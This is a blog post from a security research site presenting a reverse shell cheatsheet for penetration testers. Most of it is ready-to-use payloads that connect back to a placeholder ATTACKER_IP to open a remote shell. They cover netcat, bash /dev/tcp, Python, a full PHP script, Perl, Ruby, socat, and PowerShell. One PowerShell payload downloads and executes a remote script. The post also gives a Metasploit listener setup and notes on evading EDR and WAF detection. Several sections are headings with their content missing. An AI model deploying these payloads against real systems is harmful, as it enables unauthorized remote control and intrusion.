White Hats - Nepal

Security research, bug bounty writeups, pentest notes

Reverse Shell Cheatsheet: Your Ultimate Pentesting Guide

A reverse shell is a fundamental technique in penetration testing and ethical hacking, allowing an attacker to gain remote command-line access to a compromised machine. Instead of directly connecting to a target (which often faces firewalls), the target system is tricked into connecting back to the attacker's listening machine, effectively "reversing" the connection. This cheatsheet equips you with the essential commands, techniques, and practical insights you need to deploy and manage reverse shells effectively in your security engagements.

From my experience, understanding reverse shells isn't just about copying commands; it's about grasping the underlying network principles and knowing how to adapt them to diverse environments. Whether you're a bug bounty hunter, red teamer, or an appsec engineer, mastering this skill is non-negotiable for post-exploitation.

Understanding Reverse Shells: The Fundamentals for Pentesters

At its core, a reverse shell works by having the target machine initiate an outbound connection to an attacker-controlled listener. This circumvents common firewall rules that typically block inbound connections to internal machines. Think of it like a client-server model, but the "client" (target) becomes the server by sending commands, and the "server" (attacker) receives them.

The alternative, a bind shell, requires the target machine to open a listening port, which the attacker then connects to. Bind shells are less common in real-world scenarios because most perimeter firewalls block unsolicited inbound connections, making them harder to establish without existing access or specific misconfigurations.

Key Takeaway: Reverse shells are preferred in penetration testing because they exploit typically open outbound firewall policies, making initial access simpler and more reliable than bind shells.

Prerequisites for a Successful Reverse Shell

Before you even think about deploying a reverse shell, you need to ensure a few things are in place:

Essential Reverse Shell Techniques & Payloads

This section is your go-to reference for practical reverse shell commands across various languages and tools. Always remember to replace ATTACKER_IP and ATTACKER_PORT with your actual IP address and listening port.

Netcat Reverse Shells

Netcat, often called the "TCP/IP Swiss Army knife," is one of the most versatile tools for reverse shells. Its availability on many systems makes it a primary choice.

Attacker Listener:

nc -lvnp 4444

Target Payloads:

Traditional Netcat (-e option)

This is the most straightforward, but the -e option isn't available on all Netcat versions (especially newer OpenBSD versions). For example, it might work on older Linux distributions or BusyBox.

nc ATTACKER_IP 4444 -e /bin/bash
nc ATTACKER_IP 4444 -e cmd.exe

Netcat FIFO (Named Pipe)

This method uses named pipes (FIFOs) for input/output redirection and is more reliable when -e isn't an option. This is a common technique on Linux.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash|nc ATTACKER_IP 4444 >/tmp/f

Netcat with /bin/sh (-c option)

Similar to FIFO, but uses a different redirection approach.

/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Bash Reverse Shells

Bash can create TCP connections directly, which is incredibly useful when Netcat isn't present or -e is missing.

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

This command redirects standard input, output, and error streams to a TCP connection. It's concise and effective.

Python Reverse Shells

Python is almost universally available on Linux systems and offers robust networking capabilities. You'll often find Python 2 and Python 3 on systems; ensure you use the correct version for your payload.

Python 2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python 3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'

Notice the subtle differences between Python 2 and 3 regarding print statements and how subprocess.call might handle arguments, though the core logic remains similar here.

PHP Reverse Shells

Often found on web servers, PHP is a common vector for reverse shells via command injection or file uploads.

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

For more complex scenarios or when exec is disabled, you might need to write a full PHP script:

<?php
  $ip = 'ATTACKER_IP';
  $port = 4444;
  $sock = fsockopen($ip, $port);
  $descriptorspec = array(
     0 => array("pipe", "r"),
     1 => array("pipe", "w"),
     2 => array("pipe", "w")
  );
  $process = proc_open('/bin/sh', $descriptorspec, $pipes);
  if (is_resource($process)) {
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    while (1) {
      if (feof($sock)) {
        break;
      }
      if (feof($pipes[1])) {
        break;
      }
      $read = array($sock, $pipes[1], $pipes[2]);
      $write = null;
      $except = null;
      $num = stream_select($read, $write, $except, null);
      if ($num > 0) {
        if (in_array($sock, $read)) {
          $input = fread($sock, 4096);
          fwrite($pipes[0], $input);
        }
        if (in_array($pipes[1], $read)) {
          $output = fread($pipes[1], 4096);
          fwrite($sock, $output);
        }
        if (in_array($pipes[2], $read)) {
          $output = fread($pipes[2], 4096);
          fwrite($sock, $output);
        }
      }
    }
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
  }
?>

Perl Reverse Shells

Perl, another scripting language often found on Linux systems, can also be used for reverse shells.

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<STDIN>;'

Ruby Reverse Shells

Ruby is common in Rails environments and other web application stacks.

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","4444");while(cmd=c.gets);IO.popen(cmd,"r+"){|io|c.print io.read}end;'

PowerShell Reverse Shells (Windows)

On Windows systems, PowerShell is your best friend. It offers powerful capabilities for network communication.

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://ATTACKER_IP:8000/shell.ps1');"

This command downloads a PowerShell script (shell.ps1) from your web server and executes it. The shell.ps1 content would typically be a reverse shell script, like this one:

# shell.ps1 content
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush();
}
$client.Close();

Alternatively, a one-liner for PowerShell can be:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Be aware that PowerShell execution policies can sometimes hinder these. You might need to use -Exec Bypass or similar flags.

socat Reverse Shells

socat is a more advanced Netcat alternative, offering more features and often better stability. It's not always installed by default, but if it is, it's a powerful option.

Attacker Listener:

socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

This creates a stable, interactive shell right from the start.

Target Payload:

socat TCP:ATTACKER_IP:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

This provides a fully interactive PTY (pseudo-terminal) shell, which is far superior to basic Netcat shells.

Bypassing Defenses with Advanced Reverse Shells

Getting a basic reverse shell is often the first step. The next challenge is making it stable, persistent, and capable of bypassing various security controls. This is where advanced techniques come into play.

Getting a Stable TTY Shell

Many basic reverse shells (especially Netcat ones) are not fully interactive. You can't use tab completion, arrow keys, or run programs like su or sudo effectively. Here's how to upgrade your shell:

  1. Once you have a basic shell:
    python -c 'import pty; pty.spawn("/bin/bash")'
            

    This command uses Python to spawn a pseudo-terminal. If Python isn't available, try script /dev/null -c bash, or even perl -e 'exec "/bin/bash";'.

  2. Background the shell on your listener (Ctrl+Z): This sends the current foreground process to the background.
  3. Set terminal settings on your listener:
    stty raw -echo
            fg
            

    The fg command brings the shell back to the foreground. Now you should have tab completion and arrow keys. If it looks garbled, you might need to type reset or export TERM=xterm.

  4. Optionally, export environment variables:
    export SHELL=bash
            export TERM=xterm-256color
            stty rows <ROWS> columns <COLUMNS>
            

    Replace <ROWS> and <COLUMNS> with your actual terminal dimensions (use stty -a on your local machine to find them).

Expert Tip: Always aim for a stable TTY shell. It significantly improves usability and expands your post-exploitation capabilities. Without it, some commands might behave unexpectedly or not work at all.

Encoding and Obfuscation

Modern security solutions, like Endpoint Detection and Response (EDR) or Web Application Firewalls (WAFs), often detect standard reverse shell payloads. Encoding and obfuscation can help bypass these:

Port Forwarding and Tunneling

What if the target machine can't directly reach your listener (e.g., your listener is behind NAT, or the target has restricted outbound rules)?

Tools and Frameworks for Reverse Shell Management

While manual commands are essential, specialized tools and frameworks streamline the process, especially in complex engagements.

Here's a comparison of common tools:

Tool/Framework Description Key Features Use Case
Netcat (nc) Basic networking utility for TCP/UDP. Simple listener, limited stability. Quick, initial shells. Widely available.
Socat Advanced Netcat alternative. Highly stable TTY shells, proxying, complex protocols. Reliable, interactive shells, advanced tunneling.
Metasploit Framework (multi/handler) Comprehensive exploitation framework. Payload generation, listener management, post-exploitation modules, Meterpreter. Automated, feature-rich shells, advanced post-exploitation.
Pwncat-cs Netcat-like tool with advanced features. File upload/download, session persistence, port forwarding. Enhanced, interactive shells, useful for red teaming.
Powercat PowerShell version of Netcat. Bind/reverse shells, file transfer, port scanning, relay. Windows-specific shells, leveraging PowerShell.

Metasploit's multi/handler

Metasploit is often the go-to for its robust multi/handler module, which can catch a wide variety of generated payloads. It automatically handles the connection, provides a Meterpreter session (if using a Meterpreter payload), and offers extensive post-exploitation capabilities.

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp # Or linux/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
set ExitOnSession false
exploit -j

This sets up a listener that will catch a Meterpreter session, which is far more powerful than a basic shell. Meterpreter allows for in-memory execution, process migration, screenshotting, keylogging, and much more.

For more detailed information on using Kali Linux tools, check out our Kali Linux Commands for Pentesters & Bug Bounty Hunters guide.

Troubleshooting Common Reverse Shell Issues

Reverse shells aren't always straightforward. You'll run into issues, and knowing how to diagnose them saves a lot of time.

No Connection Back

Broken or Unstable Shell

Permissions Issues

Troubleshooting Mantra: Verify your listener. Verify your IP/port. Verify network reachability. Then, verify your payload syntax and try alternative methods.

Best Practices for Secure Reverse Shell Handling

While reverse shells are powerful tools for penetration testing, they also carry risks if not handled responsibly and securely. Remember, you're opening a communication channel to a target system.

Understanding network scanning can help you identify open ports and potential targets for your reverse shells. Our Nmap Tutorial for Pentesters is a great resource for that.

Conclusion: The Indispensable Reverse Shell Cheatsheet

The reverse shell remains an indispensable technique for any serious bug bounty hunter, red teamer, or penetration tester. It bridges the gap between initial code execution and persistent access, unlocking further post-exploitation possibilities. This comprehensive cheatsheet provides you with the practical commands and strategies to establish, stabilize, and troubleshoot reverse shells across diverse environments.

Remember, the key to mastery isn't just memorizing payloads but understanding the underlying mechanisms. Practice these techniques in controlled lab environments, experiment with different scenarios, and always prioritize ethical and responsible hacking. Stay curious, keep learning, and happy hunting!

Frequently Asked Questions

What is the difference between a bind shell and a reverse shell?

A bind shell involves the compromised target machine opening a listening port, which the attacker then connects to. A reverse shell, conversely, has the target machine initiate an outbound connection back to the attacker's listening machine. Reverse shells are generally preferred in pentesting as they bypass common inbound firewall restrictions.

Is using a reverse shell illegal?

Using a reverse shell on any system without explicit, written authorization from the owner is illegal and unethical. This technique is for legitimate penetration testing, ethical hacking, and security research within legal and ethical boundaries only. Always ensure you have permission before engaging in such activities.

How can I make my reverse shell more stable?

To make a reverse shell stable, you generally need to upgrade it to a fully interactive TTY (pseudo-terminal) shell. This often involves using Python's pty module, socat, or specific shell commands like stty raw -echo after gaining initial access. This allows for features like tab completion, arrow keys, and proper execution of programs like sudo.

What are the common ports used for reverse shells?

While any port can technically be used, attackers often try to blend in with legitimate traffic. Common ports include 4444 (a traditional pentesting port), 80 (HTTP), 443 (HTTPS), 53 (DNS), 21 (FTP), 22 (SSH), or 23 (Telnet). The choice depends on what outbound ports are typically open on the target network and what your listener can operate on.